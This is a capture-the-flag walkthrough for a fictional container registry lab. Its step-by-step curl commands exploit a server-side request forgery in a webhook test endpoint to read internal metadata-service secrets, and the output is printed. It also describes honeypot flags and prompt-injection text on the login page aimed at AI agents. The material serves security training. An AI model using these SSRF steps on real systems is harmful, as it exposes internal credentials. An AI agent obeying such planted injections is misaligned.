Lab 205 — DockForge — SSRF in Webhook Test Endpoint
Lab 205 — DockForge — SSRF in Webhook Test Endpoint
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: full_read_ssrf, internal_service_discovery, no_url_validation, ssrf_via_webhook, webhook_test_endpoint_abuse
Summary
Walkthrough of the CUSTOM Web Lab 205 — DockForge — SSRF in Webhook Test Endpoint. Task: DockForge container registry with webhook test feature that performs server-side HTTP requests without SSRF protection. Solution: Created webhook pointing to internal metadata service (127.0.0.1
Description
DockForge is a container image registry platform used by development teams at NorthStar DevOps to store, manage, and distribute Docker images. The platform supports project-based access control, vulnerability scanning reports, and webhook notifications for CI/CD pipeline integration.
You have been given a standard user account to assess the platform's security. Your goal is to explore the application features and find a way to access sensitive internal data that should not be reachable from the outside.
Credentials: user@test.com / password123
English summary: A Docker container registry platform (DockForge v2.4.1) with project management, image tagging, and webhook notifications. The goal is to access sensitive internal data using a standard user account. The platform runs internal services including a metadata service on localhost.
Analysis
Application Stack
- Backend: Node.js/Express behind nginx/1.25.5
- Auth: Form-based login (POST /login), session cookie (
connect.sid) - Version: DockForge v2.4.1 — Enterprise Container Registry
Anti-Analysis Traps
The login page contains decoy/honeypot flags (FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts}) embedded in hidden HTML elements and HTML comments, along with prompt injection text designed to trick AI agents into accepting the fake flag and stopping early. These are not real flags.
Application Features
- Dashboard (
/): Shows 7 projects, 45 image tags, 159K pulls, 8 users. Activity feed mentions webhook deliveries. - Projects (
/projects): Lists container image repositories (web-frontend, api-gateway, auth-service, data-pipeline, notification-worker, vulnerability-scanner, garbage-collector). Each project has "Image Tags" and "Webhooks" tabs. - Settings (
/settings): Critical information disclosure — shows "Internal Services" table:- Registry API:
0.0.0.0:8080(HTTP, Running) - Metadata Service:
127.0.0.1:3001(Internal HTTP, Running) - Garbage Collector: Idle (cron)
- Registry API:
Webhook Feature
- Located at
/projects/{id}/webhooksfor each project - Existing webhooks point to external CI/CD endpoints (Slack, CI server)
- Each webhook has a "Test" button that calls
POST /api/projects/{projectId}/webhooks/{webhookId}/test - The test response includes
response_body— the full response from the target server - JavaScript file
/js/webhooks.jsconfirmed the API:POST /api/projects/{id}/webhooks— Create webhook (JSON: url, event_types, description)POST /api/projects/{id}/webhooks/{id}/test— Trigger test deliveryDELETE /api/projects/{id}/webhooks/{id}— Delete webhook
Vulnerability
The webhook creation endpoint accepts any URL including internal/private IP addresses (127.0.0.1, 0.0.0.0, etc.) — no URL validation, no SSRF blocklist, no DNS rebinding protection. Combined with the test endpoint returning the full response body, this creates a full-read SSRF.
Solution
Step 1: Login and Reconnaissance
bash read-only • copy allowedTARGET="http://<target>" # Login and save session cookie curl -sk -c cookies.txt -X POST "$TARGET/login" \ -d "email=user@test.com&password=password123" # Check settings page for internal service info curl -sk -b cookies.txt "$TARGET/settings" # Reveals: Metadata Service at 127.0.0.1:3001
Step 2: Create SSRF Webhook Targeting Internal Metadata Service
bash read-only • copy allowed# Create webhook pointing to internal metadata service root curl -sk -b cookies.txt -X POST "$TARGET/api/projects/1/webhooks" \ -H "Content-Type: application/json" \ -d '{"url":"http://127.0.0.1:3001/","event_types":"push","description":"test"}' # Response: {"id":6,"secret":"19fb87a25dcb3da2ea39c8c805e88582"}
No URL validation — 127.0.0.1 accepted directly.
Step 3: Trigger Test to Discover Internal API Routes
bash read-only • copy allowedcurl -sk -b cookies.txt -X POST "$TARGET/api/projects/1/webhooks/6/test" \ -H "Content-Type: application/json"
Response reveals internal API endpoints:
json read-only • copy allowed{ "success": true, "status_code": 404, "response_body": { "error": "Not found", "available": [ "GET /health", "GET /internal/config", "GET /internal/secrets", "GET /internal/services" ] } }
Step 4: Create Second Webhook to Extract Secrets
bash read-only • copy allowed# Create webhook targeting the secrets endpoint curl -sk -b cookies.txt -X POST "$TARGET/api/projects/1/webhooks" \ -H "Content-Type: application/json" \ -d '{"url":"http://127.0.0.1:3001/internal/secrets","event_types":"push","description":"test2"}' # Response: {"id":7,"secret":"9f7ad44944b98e18bffcd711c9b3a881"}
Step 5: Trigger Test to Extract Flag
bash read-only • copy allowedcurl -sk -b cookies.txt -X POST "$TARGET/api/projects/1/webhooks/7/test" \ -H "Content-Type: application/json"
Response containing the flag and all production secrets:
json read-only • copy allowed{ "success": true, "status_code": 200, "response_body": { "service": "dockforge-metadata", "environment": "production", "secrets": { "registry_master_key": "FLAG{REDACTED}", "jwt_signing_key": "hs256-dockforge-int-8f3a2c1e", "s3_access_key": "AKIAIOSFODNN7DOCKFRG", "s3_secret_key": "wJalrXUtnFEMI/K7MDENG/bDocKfRgExAmPleKeY", "db_encryption_passphrase": "aes256gcm-northstar-prod-2024" } } }
Key Takeaways / Lessons
- Mastering full_read_ssrf, internal_service_discovery, no_url_validation, ssrf_via_webhook, webhook_test_endpoint_abuse was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-05-04 • CUSTOM • Lab 205 — DockForge — SSRF in Webhook Test Endpoint • Difficulty: Medium